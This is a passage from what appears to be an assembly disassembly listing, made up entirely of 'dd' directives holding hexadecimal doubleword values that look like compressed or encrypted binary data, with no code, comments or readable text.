		dd 0FF0037B1h, 2B709D6Ah, 3B22E13h, 94DF142Ch, 0B8D9D426h
		dd 0EFE0D8BFh, 0D098E160h, 0E5C06Ch, 5923A478h,	387B3577h
		dd 0E1AB0800h, 646ACD7Ah, 0FEAE095Fh, 48807C2Ah, 3801543Fh
		dd 0A717000h, 1ABF2896h, 0AC8406FBh, 29E66F30h,	0FE0047FAh
		dd 0AB79F212h, 1F59A6h,	400A0E45h, 0FCE5A48Dh, 0E3712D01h
		dd 1B733CCEh, 0CD5020h,	0DD64232Fh, 0CCFA52ADh,	0D505D4E8h
		dd 0D1CEF225h, 0E012A80Eh, 4629B359h, 0DA6A0576h, 8496B48Eh
		dd 0AD9B8053h, 9C000C12h, 6AB9C5B2h, 1E37F12Ch,	3BD15A7h
		dd 770961C6h, 9D48E3h, 0ACE611AFh, 0D27A503Eh, 0C95AA0Eh
		dd 4F0EC25Eh, 76ABE044h, 96592878h, 0D5AC0A89h,	80B04665h
		dd 0A66EC7F4h, 7400B609h, 0D0F5D687h, 0F02C07h,	803011CEh
		dd 133A44Ah, 637CDC0Fh,	15855F8h, 12A50D43h, 0F0C4AF41h
		dd 0F7BA008Dh, 6EEA1024h, 0DD0096A1h, 36B2C19Ah, 53D101h
		dd 2EF677C2h, 5BE0472Ah, 0C4C80900h, 7927CE54h,	497801C0h
		dd 126C8910h, 70E7D452h, 0A53F4EFh, 0EA3A5D0Fh,	6C18E03Dh
		dd 73BD1127h, 0D8016E04h, 5F24B240h, 5B07151Ch,	0DED9D6C7h
		dd 0F7450EA0h, 7E250014h, 60DDD3C1h, 3100E66Eh,	230C93A2h
		dd 3507411h, 0EE251F63h, 1380BEE1h, 43485177h, 15900034h
		dd 0C5034A8Fh, 1CEE018h, 99BE4052h, 0D8E51707h,	2100BBFFh
		dd 617BA474h, 3A6A6837h, 1380F7ACh, 78F4BCE9h, 0C33F752Ah
		dd 0D8CA2C92h, 0BFE5D187h, 0F775071h, 706434h, 57ABDC5Ah
		dd 0A3C82583h, 11CAF48h, 0CB7D9B76h, 1180D0CFh,	0DE8C7C63h
		dd 803B7FDh, 0BA68424Eh, 4010923Dh, 3BBC2E72h, 0F200A02Ah
		dd 50E9CFF6h, 7E005D69h, 4C72ED12h, 60BD197Dh, 0D2BA18EAh
		dd 3E1D2749h, 37405344h, 0F2A9A2FCh, 0E426184Ah, 4FC070DCh
		dd 0F4E065E9h, 2500F920h, 5E137687h, 377DBBh, 2A91F8A6h
		dd 6C69DF8Eh, 1843B00h,	39835F42h, 0E420A8C1h, 0A3171275h
		dd 80FD10E6h, 0AA552FC3h, 0EE4900C4h, 244D58DCh, 4745h
		dd 0CB81728Ah, 6B00821Ch, 0B0684A46h, 1098FEh, 0DBAD1A62h
		dd 8EA9BB15h, 97F16A00h, 88E29EDFh, 0FE7B00B7h,	0F616D994h
		dd 2D00374Bh, 2FDF200Ch, 77C13BF5h, 839B0033h, 9CBF7D15h
		dd 1E035062h, 0E886CFE9h, 0AE6DD96Ch, 720D68E8h, 0A0210052h
		dd 22351364h, 9E003F0Ch, 77DFF75h, 0EEB4845h, 24AA2D27h
		dd 0B1D37020h, 3309C9DAh, 80017E08h, 2C58343Fh,	4F390022h
		dd 12C7720Fh, 35714642h, 41163C90h, 1400ECD4h, 2DD8AFBCh
		dd 0BFE0070h, 216BB850h, 2C0028F6h, 0DE8D809Dh,	0FB9C3DCh
		dd 26F8A338h, 0EE11C2C0h, 0BD01FA43h, 847C28DDh, 0D820E415h
		dd 0D2D0013h, 92C77F25h, 0D400F16Eh, 19E0D003h,	0AF9042h
		dd 6F367A3Bh, 46F4BF96h, 8CE65524h, 3C154B81h, 74745991h
		dd 7E72C7h, 0C4580482h,	44D9FEE8h, 6F7CBA00h, 0CBA71413h
		dd 0EE903A95h, 2ACD8000h, 0A62F59D9h, 0F942FC00h, 0B90244E2h
		dd 0ABAD055Fh, 0EFF030h, 0D9B3E8C9h, 0E07F1C8Dh, 2800A04Ah
		dd 7EF15E85h, 9B008A59h, 3B1F21ABh, 582459h, 0D8C6E77Ah
		dd 682206h, 4C6ACC89h, 0E9FC483h, 14704A0Fh, 84444046h
		dd 26FA1AADh, 0E055FFh,	38B24F29h, 30B88EDFh, 1D0E3622h
		dd 0C04C1CB9h, 0C9561E1Dh, 5300B3B7h, 18832554h, 1EEB3CD0h
		dd 9D2D43E7h, 0BDCB40B8h, 94E65831h, 7A02BF01h,	49014F5Ch
		dd 58D009D0h, 3700BDA4h, 9E728224h, 0D1F01097h,	14988500h
		dd 7A325E84h, 0A26000FDh, 0E6F824F5h, 3498EB41h, 80E7353Bh
		dd 328F5E5Ah, 5BC965B3h, 0B58BF0B4h, 295F8600h,	83FE251Ch
		dd 0B1EE003Ah, 582046FBh, 1E0018C1h, 9D04D170h,	0FA72F902h
		dd 0E2220075h, 4551AC37h, 600F452h, 5D6C4BC8h, 0E84AF44h
		dd 5A16E556h, 6E2E3C20h, 0F2E48309h, 0DCCD2D00h, 290FA120h
		dd 0A37601B4h, 6B14BFFEh, 82D041A2h, 727C64C2h,	0A6B5E400h
		dd 29787CF2h, 93750226h, 0D6552BFBh, 0DE427C81h, 2709FCE2h
		dd 0C86C5A00h, 622D8135h, 134F0073h, 5F25F45Dh,	0CA3D0EF1h
		dd 7DCC0070h, 0AA21EF53h, 3A070017h, 0C18F0BA3h, 37301B03h
		dd 0A2DD7031h, 0FD967DFBh, 1B0E887h, 0E0F04739h, 0BAC7C01Fh
		dd 0C961A9C1h, 8DE05456h
		dd 0FA140010h, 0F4F6F14Fh, 0D53925A7h, 4BC839h,	8E66413Ah
		dd 7BE4605h, 19AE5206h,	6D7AC090h, 8D0ED66Fh, 81961216h
		dd 0A477F637h, 5DF49821h, 387A03FBh, 0DA10BC74h, 0FC01197Dh
		dd 76758CCFh, 81EA02D2h, 0D06E3DA0h, 60CE1301h,	8C38B949h
		dd 5F20010h, 2CB1AAF9h,	0F14E0F8Ah, 6220520Ch, 7FF78235h
		dd 0A3753412h, 84DC88h,	0BA4B099Ch, 0EEAD160Ch,	7B2A7603h
		dd 800A5A42h, 72B00D9Eh, 648A0069h, 4035FAFDh, 327B9D63h
		dd 6B21100h, 0CB4A1DBh,	0F8F70148h, 79389085h, 3F70C820h
		dd 6AEFEB03h, 0D8A6B461h, 0FB1655h, 69735E26h, 1EBA6FE0h
		dd 7E21A3Ah, 5837E376h,	4DC7D460h, 9DE2EBFh, 0C16900CCh
		dd 46D0D587h, 88403400h, 94FC7FBEh, 4416006Bh, 9C8EAE95h
		dd 0C9FE2BA6h, 5F570403h, 0F0BEA0BAh, 0B81B592Fh, 12AA07F9h
		dd 92E094F5h, 1850F2C9h, 888F300Bh, 98A8801Bh, 58C3B0h
		dd 0E1C4AA90h, 7FC67DB4h, 44744070h, 0A34B9100h, 96BC0D1Ah
		dd 85543870h, 3428DC00h, 0CDE15122h, 3BD7AA00h,	5ECE10A5h
		dd 0AE20C087h, 22C538BCh, 8C0D9C00h, 0C07B55D7h, 27611FF5h
		dd 4E54283h, 8C502575h,	9E71EF00h, 70D39AF1h, 0D5F43C1Fh
		dd 0C060689Dh, 7F75B92Dh, 0E60E89E2h, 0C0FA2A58h, 0AFE09064h
		dd 25930F79h, 83403A17h, 6A38B57Ch, 0AEBD0409h,	986820BFh
		dd 0B082A88Eh, 24C52600h, 0B4C30158h, 345D4F64h, 5513CB60h
		dd 20809381h, 185EF1F9h, 10711C88h, 6E06EEE0h, 2005F4ACh
		dd 9DF630h, 631E8EE3h, 0C176D078h, 0D8C3FB04h, 0B8800777h
		dd 1BBE29Dh, 2BA6125h, 81060818h, 70314818h, 0AC34D51Ah
		dd 0EB5C00AAh, 1D56345Fh, 0A80FB54Eh, 60FDBB05h, 7307A58h
		dd 59EC00DCh, 9962E482h, 4D0011AAh, 0CEACA529h,	12C7CB5Ch
		dd 0CDA854h, 5E8D4110h,	0CF485BA3h, 0D33D52h, 595F07FAh
		dd 4A1F366Ch, 0B1AC4099h, 4B6D53F3h, 5D00D0BAh,	0B39068FFh
		dd 0B77EDAh, 0D30AC5C0h, 7A09FB7Fh, 3C389E0Fh, 3397A0D6h
		dd 0F34EA85h, 0A6154021h, 44B86800h, 7400795Ah,	6AC4F48Dh
		dd 592B020h, 0D5C6FE6Dh, 20FEC7DAh, 63934502h, 57607B00h
		dd 8B354FDh, 0BDC60190h, 953DBCD0h, 8635F87Eh, 59889200h
		dd 0DBA84E58h, 3CD6286Bh, 0DC0100AEh, 4DD10FC1h, 7000B489h
		dd 4FC867E8h, 5DFFD8Eh,	8D0BAB8Ah, 986C80D0h, 0DC009BA4h
		dd 0DEE93E4Bh, 1F1958EFh, 40A9ABC8h, 300D07F7h,	0B10E4EA3h
		dd 2029EE1Ch, 3261E68Dh, 479F0EB0h, 72A89Ch, 33A1F754h
		dd 0AD003A54h, 1C2DD7B4h, 7811E9C2h, 92B20031h,	6DE0F55Ah
		dd 8D00EBE2h, 0AFD86134h, 5AC20B26h, 78F40166h,	7083C360h
		dd 0DE2EEF7Eh, 0C0094D6h, 42F0A391h, 0FC96D8h, 7CC0E5B5h
		dd 0EB24A056h, 0A604BE2Bh, 94C101B4h, 2424FA0Ch, 90E80558h
		dd 0D05E802Bh, 3608C24Ch, 1C1C3E5Dh, 0C9C0AF8Ah, 11431CC5h
		dd 0C5700BEh, 175EDDDFh, 9A034088h, 0DA014AECh,	5B0C8A9h
		dd 88BADCh, 83C6A32Ah, 0C1846351h, 802DAB3Dh, 94A9296Fh
		dd 9C471EEEh, 7CC70148h, 0FC2F0963h, 1702659Eh,	0EF7D8B40h
		dd 0C3A0E0A4h, 86809434h, 3946B6EEh, 83E7AB03h,	0A057A925h
		dd 0DE50B0C9h, 0F1F18h,	51547D84h, 901EFDDDh, 95879C72h
		dd 1B0136Ch, 9BA4CEEh, 0E765C435h, 0C6D441h, 0D8DB2Fh
		dd 1C4D6C10h, 0F14C46Eh, 2E2C801h, 28C9EE5Bh, 53B2F0h
		dd 7DD398C5h, 552374DBh, 2C88AE63h, 1CEEA9A9h, 4EC17041h
		dd 75E06040h, 46A70017h, 68861FADh, 533CAC5Fh, 21C015Bh
		dd 0B4408A0Fh, 0A4B260h, 0F11157E0h, 75D9616Eh,	2E4F8400h
		dd 3F7F8AC5h, 0AB7400AEh, 85603E0Eh, 0B300ECF5h, 4A16EB7Eh
		dd 0E02569Ah, 49E0D368h, 3A06BA60h, 14007F60h, 67176AEAh
		dd 8BCAAAh, 0F2AEDE65h,	9AE75658h, 806E233Fh, 5D102E11h
		dd 1D0ED9D7h, 0D4D627h,	0E2F1A2AAh, 3A008AB2h, 7EB02AF2h
		dd 18D7FE4Ch, 1E6F82C5h, 0AA00A3A0h, 0FC6EBFD4h, 0F4357Ch
		dd 76AB4F28h, 12D7E12h,	0DAD1C505h, 8C406C7Bh, 0B887338Fh
		dd 0B8CD50E6h, 269D3AEEh, 80C88B26h, 0CA873BA1h, 5600D07Fh
		dd 7891690Ah, 1AA923Ah,	73DDB6B7h, 81F6CF35h, 206FFD30h
		dd 7424F048h, 1EF70053h, 7DA3DADBh, 9CC8E37h, 0B321E7h
		dd 0E3271EBFh, 0C42B2F6Bh, 44C3460Bh, 43A5058Eh, 2068C286h
		dd 0EC8B9EFAh, 7F918EF0h, 0B9B06801h, 0BCAD8752h, 2F8020B2h
		dd 111ECA30h, 88DBDAECh, 0F280BFFCh, 4AB3281Eh,	62140FDAh
		dd 94672Eh, 0F0FBEF68h,	0CC96B89h, 4149F1F3h, 0B9002081h
		dd 1FA9332Ch, 6FC1DD83h, 215908CFh, 0E77370EAh,	51C43B00h
		dd 2A5B874h, 7AF61524h,	9D26BC79h, 0CADB007Ch, 0F5067153h
		dd 0EF587303h, 6E3DCADh, 32A75DC8h, 0D803D881h,	8F56B62Fh
		dd 0F1A883Ch, 131D0342h, 8121A0CAh, 0C30108B8h,	326903Dh
		dd 0C2CDC888h, 4DF1E09Ah, 0D7D300DFh, 0DE2A2EEBh, 0CC0006D5h
		dd 67E708A6h, 262B81FFh, 0A6604Ch, 0A596A702h, 4E0E7CF5h
		dd 60826E1Dh, 4587B7FCh, 0EC41EE8h, 0C193C096h,	184960F2h
		dd 696AA600h, 0ED2D9950h, 1BE907EFh, 0E0B4F7E6h, 12773CE0h
		dd 0ECD27500h, 0AF787143h, 0DD100058h, 2338263Eh, 0E514D4CFh
		dd 0ECEA6Ch, 0ABD2BA3Ah, 9B5E5Bh, 0A86A7748h, 0A3090884h
		dd 241DE707h, 0EA63B643h, 82B7802Bh, 0DA1A0023h, 0FC69CE45h
		dd 0BE3F9E7Fh, 7200FD65h, 0EF5ACC42h, 0F2E8E76h, 718AFA02h
		dd 1EDBA072h, 6403B77Ch, 0DC4376DFh, 1267C84Dh,	0E068C008h
		dd 9CE69FB9h, 4FC9D101h, 0EA3D4615h, 0FA6B5DCh,	8FFCAA83h
		dd 0F0C064A7h, 567A2388h, 7300707Fh, 656E98B1h,	30BC7E2h
		dd 5BD47D0h, 18F843D2h,	2D008B78h, 3F7B5F8Dh, 3E775734h
		dd 6E80EC3Bh, 47999BB2h, 0A900488Fh, 6C22A076h,	0A28BD4h
		dd 0E35D5F67h, 28824144h, 656092Ch, 9F1D3900h, 1EC222FFh
		dd 9C24FBF1h, 47840ADEh, 345200A4h, 0A9F685DAh,	318F9F00h
		dd 7B89863Bh, 0D8B30071h, 9B7D3354h, 2603FC2Bh,	0EABBE87Ch
		dd 49E4C077h, 0D0C50FF1h, 8C007B7Fh, 0AFC99997h, 1C3FD600h
		dd 19218089h, 7DB4FCF8h, 984C7F17h, 9D1B0082h, 0ACD5CCFBh
		dd 3801B7D8h, 78A18968h, 0B4807DFFh, 2B348B69h,	3200F9ECh
		dd 0AC1BD6D7h, 0DC8916h, 31515F7Ah, 8798492h, 0CE411F00h
		dd 152DA383h, 0B59E0CE2h, 9CE8EB57h, 1068A44h, 1BFAC534h
		dd 0DA0E51EAh, 6B1C92C0h, 5CC58h, 0C33CF8C0h, 3E916179h
		dd 6F96520Fh, 3B5901DAh, 207B99B3h, 35005FB3h, 0DD010B82h
		dd 3187D84Fh, 3816A132h, 2B75E43Eh, 68182A0Fh, 0D87433h
		dd 4E4DD726h, 614AFE66h, 9EF789DCh, 0B8A0D29Ch,	0B006A88Eh
		dd 0BAF9ED00h, 0FC2D75E8h, 1EA70013h, 95E18557h, 0C902F47h
		dd 0A9EE2900h, 8EF89916h, 1ABC008Ah, 1E78139Eh,	580DC27Bh
		dd 5823CEC9h, 1788DF20h, 5B3C45h, 4FA902Eh, 0CD003D29h
		dd 500A7919h, 7B46073Eh, 85B00E6h, 71DAC2DDh, 4F00667Ch
		dd 2A9044CEh, 33E55EFh,	450646Eh, 0B94C9C02h, 0C9521C0Bh
		dd 11B82554h, 82018410h, 3D81CE34h, 29B0D495h, 59038BF2h
		dd 2042F425h, 0CB4A85Ch, 0D6B80056h, 0CEBED278h, 5498865Dh
		dd 0FE797400h, 0E48B9FADh, 47EC38h, 0A2F35857h,	630B9EFFh
		dd 0A7F55D03h, 0D88A5031h, 6D3E07h, 1CF8B21Ah, 79CB9F95h
		dd 71915700h, 58BA17F7h, 8B414C8Fh, 4D30A300h, 46F5BEBDh
		dd 0DAD9A400h, 0DC1370CBh
		dd 4A3203E2h, 0BF740A7Ch, 898E2AE0h, 0FA45400h,	0DCC9CA1Dh
		dd 4A6009Fh, 0D253C615h, 7200A382h, 0AD09560Eh,	13FD63h
		dd 50D8AE5Ah, 6B1FA553h, 0C7D5EA01h, 466A902Eh,	0F4029040h
		dd 36F469h, 44E1D1E8h, 0FE296554h, 10430100h, 3A1147ADh
		dd 0B87000B3h, 0B0FF69A9h, 4800FC03h, 21965C58h, 0A819D0h
		dd 0BC8E93D1h, 0A19AC1DEh, 0EEA73400h, 3A6E2D5Dh, 2E72CEh
		dd 0D1050C06h, 447D3288h, 8433AC01h, 9E8B578Ah,	4A3160h
		dd 9249EF2Eh, 202C7401h, 0A0E35500h, 575F1253h,	3C100C0h
		dd 1C5927DCh, 0D4F442A2h, 4944CF01h, 42CCE0Fh, 696A1E3h
		dd 252D6880h, 0FADC1C4Ch, 322CB1Ch, 0F3808864h,	0D494360Ch
		dd 3E522412h, 13540024h, 49C5FA87h, 0BFDDDF0Dh,	0D6D81822h
		dd 33F00947h, 7481D5CDh, 0ECB0BAEFh, 3400AAC9h,	4B8E0AEAh
		dd 9673D4h, 4E5262A3h, 7721220Dh, 0F4F1FD00h, 0CA27863Ah
		dd 4F4500DFh, 0A2F55A49h, 4212666Fh, 584A02B9h,	0BE41C869h
		dd 0BC47D193h, 33E4DC40h, 33F7EC6h, 141C67CCh, 75A08204h
		dd 34028F59h, 0E50174CBh, 0DB805F64h, 0D486A120h, 8CF64E00h
		dd 0FC740FE4h, 775601F5h, 0E3F3CC62h, 0A319804Ch, 8DCA2A16h
		dd 24870048h, 2E4586E1h, 3C00FAAFh, 63A88F3Eh, 0E28459FEh
		dd 0B8C20510h, 80781F6Ah, 84D8A7Fh, 1DE43400h, 9DA0DBD4h
		dd 16CF80Fh, 0EA42AD4Ah, 30FF89AFh, 0E100B406h,	78220CABh
		dd 1DD80680h, 0F100D6Fh, 79A0522Ah, 4ACDB501h, 4B758200h
		dd 480E91B4h, 703A7BE5h, 7C3300FAh, 2E9DF05Dh, 0B4005657h
		dd 2092D4ADh, 7AA38BEh,	690F90Fh, 1E8CAB0Dh, 2206DC48h
		dd 2D5F5D8Ah, 0FD073BAh, 0D1E0A647h, 63C0C1C0h,	0DB00A415h
		dd 0D9FE5648h, 10EAFAh,	7CAB66F3h, 424CACF2h, 80F4503Dh
		dd 6290E24Bh, 87946Ch, 0D622EBF1h, 91663C3Bh, 0CC9B5A03h
		dd 0A1281A75h, 2042C01Ch, 226A105Eh, 0BF05AE39h, 80C1380Fh
		dd 0E6AD6B69h, 0A326D5h, 0BCFC5B48h, 9D5A169Ch,	5EF4513Fh
		dd 0C4122FACh, 9914004Fh, 0ECA0BBC0h, 69AA8B00h, 8EC9342Bh
		dd 9ABF00B7h, 0A2B6DB47h, 22004F13h, 0E20FD07Ah, 0FC18C17h
		dd 6BBEAADh, 0E834A860h, 3800DF3Bh, 0AA29F986h,	0E0B6476Ch
		dd 34890CAh, 0B73BE532h, 11205470h, 0C8E3223Dh,	0AF000D78h
		dd 9EEDCE23h, 0D79A73h,	0CABFABEAh, 4439DA4Bh, 4001DB00h
		dd 6F6CCC45h, 9DDE0357h, 851CA054h, 0DCC052DBh,	800304D6h
		dd 0C3C4B094h, 8B3BB0ADh, 7DF57418h, 29A300EBh,	0A652E799h
		dd 5609A5Dh, 4727518h, 161A30D7h, 4567FEEAh, 55B4571Ch
		dd 183E5641h, 5874EB85h, 0F5DF24D9h, 6B8E80B4h,	4B82778Ah
		dd 7868B1Eh, 317614A8h,	537E6E00h, 61DD290Eh, 0D3B30FAFh
		dd 40405E64h, 3AB1A406h, 2A98D12Ch, 721E3F00h, 0B60F686h
		dd 0E5B9797Ch, 35879540h, 0D08A3A1Eh, 3E371D07h, 9EFA6E31h
		dd 400F689Dh, 6C3CB111h, 0E300388Dh, 862B4C53h,	319E09h
		dd 0ADE6D9BCh, 8CFD5CB6h, 7F0A8900h, 0D8F7A943h, 98470072h
		dd 8D731AA1h, 5A12CC6Dh, 0A8003B44h, 0B28B43CDh, 13950B45h
		dd 8C85F74Bh, 1DD8C8ECh, 0A1E3540Bh, 2C2882BDh,	0C55208Dh
		dd 92161980h, 3000F016h, 0C71EE2E6h, 0B4A81CA4h, 2561456Fh
		dd 0C294C064h, 295882C8h, 9112037Ch, 90853640h,	2862E0Fh
		dd 5B840DF1h, 38606CF8h, 90009CEEh, 0FE9D80E3h,	2628D25Fh
		dd 8C32B4h, 84C785A2h, 0A10043BFh, 576954F9h, 3B9687Dh
		dd 0FF7530C1h, 0E9919EFBh, 3F76E417h, 5D84FC00h, 2148BC65h
		dd 6700031h, 0DD32FFE0h, 0FC006DA6h, 1489BDD9h,	756248A2h
		dd 0BAFE1E64h, 0A49DCF5Fh, 0F9B8CB80h, 82E72AEEh, 136DC258h
		dd 0C015C283h, 0D99C34h, 23E3422Dh, 7517C630h, 0A95EDCA0h
		dd 0CC05024Ah, 0A0402EDCh, 86560FF6h, 89494B2h,	0BA5EC9h
		dd 0AD238048h, 311BCB29h, 160EE7Fh, 0F80644Bh, 0DEE4E700h
		dd 0F1C870D9h, 0BF3F3B34h, 9B1C300h, 938715B0h,	0B95C99ECh
		dd 55101F30h, 0EE95BB82h, 0E9C080BAh, 0A013ECh,	0FF040682h
		dd 93D89E8Ch, 0D0003C90h, 0C38744D5h, 20834Eh, 0E2451FA2h
		dd 860EB654h, 250CE077h, 98E889F1h, 35D0008Fh, 0B5D362B9h
		dd 0ACB07EE5h, 0B34B30E8h, 830155F8h, 38F6991Eh, 0F0924605h
		dd 980B7010h, 12B1FF00h, 0CF4485E3h, 509E1A14h,	216B2524h
		dd 428FCB80h, 1B20FEEDh, 0F6BDFC1Ah, 19DF3EC2h,	0F0604380h
		dd 90F12E9Eh, 8300957Ah, 0F8739122h, 0F01D052Fh, 0D314008Bh
		dd 0DA63A59Ch, 45003E17h, 8CD6A3B4h, 212915h, 12E33C9Ah
		dd 0A709420Bh, 8AEC9401h, 68C54FA9h, 60AE2930h,	0F5F9807h
		dd 1814EF6Bh, 0D2DBCCh,	3293D3FDh, 5081B494h, 50EE498h
		dd 7680B51Eh, 0A1C88060h, 7900EABFh, 0BA4A3A9h,	1788E9Eh
		dd 4764591Ch, 20A7D221h, 7F1E895Bh, 3E9CA068h, 0D6106500h
		dd 73654FAh, 0CF1B48C9h, 0B77F0009h, 0DF003A3Eh, 4CEB21F4h
		dd 1413DCEh, 0B0D752C5h, 74CB2CF2h, 32000740h, 0AB9BF398h
		dd 0F658182Ah, 12C4B041h, 9222BE97h, 8900F280h,	3043CE2h
		dd 0C596EF4h, 71987AD6h, 2B01F2ECh, 9D642145h, 7FF38DCh
		dd 5B15D36h, 3E50B075h,	0D81FBA1Bh, 60001186h, 0F7DBD138h
		dd 731407EDh, 50BC440Dh, 5429348h, 0B6218DA0h, 0EC1C48h
		dd 9ED00F70h, 98E78413h, 9BA609A7h, 0E50063F1h,	0A44A6FB2h
		dd 0CECCFE00h, 56972694h, 590100A0h, 49BBDE42h,	1800293Ch
		dd 2F161193h, 15E4510h,	4A7CE578h, 0EC3A41F3h, 67011D83h
		dd 29A48F58h, 9C50472Dh, 55D938h, 4288E810h, 0BB76C062h
		dd 833A8F78h, 8D8A00A1h, 1063BFACh, 0B83102C7h,	3B12F9A2h
		dd 805094CAh, 0F07BC7Eh, 8A1B3299h, 38B9EE80h, 8425128Eh
		dd 4278009Ah, 23628F08h, 0B7092007h, 0B491951Dh, 0BBF0165Bh
		dd 19A0C0C3h, 9742A201h, 0CB51413h, 44AF14D2h, 9B380058h
		dd 9532E7A6h, 0FA3D88EAh, 2D0C007Fh, 4714F185h,	0D66F0082h
		dd 0A49B75E9h, 7000FE89h, 0EC343C0Ah, 0E8A58BDh, 1730B305h
		dd 392B760h, 0F800C3DEh, 0DF263506h, 1268E4E8h,	128ECD2Eh
		dd 1A504029h, 80B346B4h, 0D7B3D00h, 0CDC23964h,	8AEE00CEh
		dd 0DAA7C4C5h, 5C9A0AC0h, 0BFB0AE78h, 10E9AF30h, 3E51E244h
		dd 2A001229h, 23C3FADEh, 84018E7Fh, 62535FAFh, 4DF0A9D1h
		dd 3CE972EAh, 0F287D966h, 0BC8531DDh, 95046B49h, 0A82F6EE7h
		dd 0F5E1CE0h, 0E632DB61h, 2AFB94C0h, 3122649h, 7049287Eh
		dd 83984D29h, 4FCE32A1h, 53D0C3BDh, 0AD79A900h,	0DCF3ECC7h
		dd 0E58E00C8h, 0E9A1D8B5h, 50008688h, 98354CE6h, 0E3DCA81h
		dd 101E3252h, 0F4C87A00h, 57009E74h, 9FD567A0h,	1362645h
		dd 0FF98916Fh, 30DC303Eh, 21002D4Dh, 97A4A2F4h,	0E32E81h
		dd 1B034E54h, 88BC02C0h, 0D8587F24h, 72A23680h,	77421FD9h
		dd 81F40F63h, 622EF047h, 799FF6A0h, 251E4CDDh, 430442ACh
		dd 0DCB252DCh, 0C0BEDE12h, 1AB1C854h, 610E4903h, 888EB248h
		dd 5EADEFh, 5D100CFEh, 0E3326B43h, 5FE5E700h, 0DBB45088h
		dd 0B2BD005Ch, 708219E4h, 0A40720F6h, 0BF408F47h, 2AC41D67h
		dd 124526C0h, 588A0083h, 0ECE7F1B8h, 8C03772Ch,	0C6BF6AD6h
		dd 0F099C02Dh, 5AD400A6h, 0B70E95B2h, 5C1616DBh, 0A200BC6Fh
		dd 0DEE6F1C3h, 0FED8F05Ah, 0CB0F1D74h, 425C92F6h, 0EA54A548h
		dd 22766851h, 0F540FBBFh, 0DF844ADh, 2705D283h,	15A183E5h
		dd 964922F8h, 0F4C52000h
		dd 5E5C311Ch, 0EFA70CC8h, 51A86B8Fh, 0C4548C0Fh, 5DF420EBh
		dd 1FB324ACh, 3C9F534Fh, 90EDDE12h, 4193DA38h, 73053900h
		dd 4C7CA713h, 0FBDE3E94h, 0E4692100h, 0C1977930h, 8F0C2D00h
		dd 4CAC508Dh, 0CD3B0063h, 1B314118h, 0BB00BDDDh, 0DB6F1AF5h
		dd 0B616DAh, 78A221ADh,	1F8C2D2Ch, 2730FB00h, 57ECD56h
		dd 861400EBh, 7D85DBF7h, 0E701A2A0h, 0B9D6C45h,	7BF5E65Fh
		dd 63C5D0h, 0F6F3EB6h, 6795419Bh, 73372600h, 0BB7BA551h
		dd 14F20087h, 9C235294h, 2F0F8962h, 0B891E833h,	0C47F2h
		dd 9350592Ah, 9ACA22A0h, 0A6F22318h, 0F41014E8h, 0C1DB74FDh
		dd 8F2FBE10h, 301E207Bh, 3C5F2119h, 21808308h, 818F3628h
		dd 160EF941h, 3E84657Fh, 1906D1C3h, 526EB89Ch, 0A5691BE1h
		dd 391D887Dh, 183972DEh, 70117B96h, 30561C5Ah, 0EA410305h
		dd 8301091h, 22462178h,	0CDD70056h, 904EBB25h, 91035F6Eh
		dd 0F0489D4Dh, 2E10B886h, 0CCE1180Bh, 5B1B78F7h, 0C17C0D20h
		dd 4D6B9970h, 53108332h, 0E798FE8Ch, 687082F7h,	341B28h
		dd 6714C788h, 8C446042h, 8062B07h, 41B061E4h, 0FCA98D4h
		dd 0D7922380h, 0F53CCB60h, 0EC005897h, 0E86A3D2Dh, 34A295h
		dd 0CF0C4A72h, 1F909CACh, 68BEA600h, 61581044h,	6929075Ch
		dd 0C00CC2A7h, 0BC1E0B65h, 7CDDC100h, 595479FFh, 5DFE0155h
		dd 3CA17DD1h, 0B782704Bh, 630041FEh, 920813BEh,	3E71527h
		dd 0CF0D2FB9h, 95B956E1h, 48B6D0FFh, 7E0F2100h,	0DD3A6130h
		dd 4190000Dh, 691A1644h, 0E20EA1FAh, 28083Eh, 0B38A3A67h
		dd 5A8FA0B4h, 35540026h, 156DBEF1h, 0AE00144Eh,	7CB76430h
		dd 751AB57Ah, 72830E9Dh, 61E94017h, 0B4E5E980h,	0D00B94Dh
		dd 0AE6751C9h, 1A3BF7Fh, 0CCF8713h, 60FF5F55h, 720491BBh
		dd 0E766BC10h, 0E07DFC80h, 323F28Ch, 46AEF6C4h,	1A00AFD5h
		dd 0F8266448h, 9EE692h,	8F1F8576h, 0E4EDD71Bh, 59F0D000h
		dd 2C8F67Bh, 6AFC0EA4h,	0AE4026C7h, 89D11FD6h, 0DE502002h
		dd 0C0841AB9h, 76CE1B3h, 0BD957D58h, 17A0D057h,	0C477DD6Eh
		dd 0A9D4AD07h, 28D08F5Fh, 7CC30Fh, 0C9CB027Fh, 0D54C37B3h
		dd 0B60ECDE6h, 40ABB45Dh, 2FB730A8h, 0CFF60Fh, 98160263h
		dd 7EDED9CCh, 0FBCE6B0Fh, 34977EC2h, 5F6DA800h,	0C45261h
		dd 67796838h, 8E2E32F3h, 8BE5180Ah, 0A804F462h,	538069B5h
		dd 50CF94E9h, 2EFC013h,	7B382132h, 0D0815141h, 70EDA423h
		dd 9439FB29h, 808D3A39h, 2AB5D66Bh, 0BFDB22h, 6265AE98h
		dd 7E33230Eh, 0EDF18900h, 21B9466h, 2D500049h, 6C06171Eh
		dd 0C500E069h, 520354BEh, 75024Ch, 39665915h, 25342BA6h
		dd 626A5C00h, 0DEE45EE3h, 0CFE69h, 39771509h, 9AC3230Ah
		dd 1C7F400h, 1D7CFDA3h,	0E5570760h, 0C0A05DE9h,	350EFB4Bh
		dd 0B5BDAC00h, 247DB21Ch, 3418158Bh, 15008087h,	55DE6BB1h
		dd 6900E94Ah, 2D0EC819h, 0F4C32232h, 4E00FB96h,	0CD00158Fh
		dd 0DB90E30Fh, 0E6E76AA8h, 0AD23007Bh, 18918BB1h, 1B00787Fh
		dd 0FDD5B9FBh, 0ABAF3h,	88B4F795h, 5FC69082h, 9D7DB00h
		dd 0C0BD9F5Eh, 0A50B0093h, 9A4A58A9h, 270BB13Ah, 8009BBC8h
		dd 4E304798h, 63D20005h, 84F583D5h, 22EA6C98h, 0B900F179h
		dd 0C70F86DCh, 3046CF12h, 19D864FCh, 7E0034B3h,	0AF59C1FDh
		dd 1817863h, 3ACAF1D2h,	0F8B0F482h, 0EE004026h,	2E803EC9h
		dd 3EFD4D0h, 2F946EB1h,	0BEC01A0Bh, 437B16FFh, 777CB501h
		dd 38E09D5Ch, 1FC8FAF8h, 82537DEDh, 9E8AE164h, 0C200D444h
		dd 665FB260h, 18CF2389h, 9865B9A9h, 971781B0h, 790E4107h
		dd 39C9603Eh, 5691253h,	2A8C1AAEh, 34E40009h, 74700AF7h
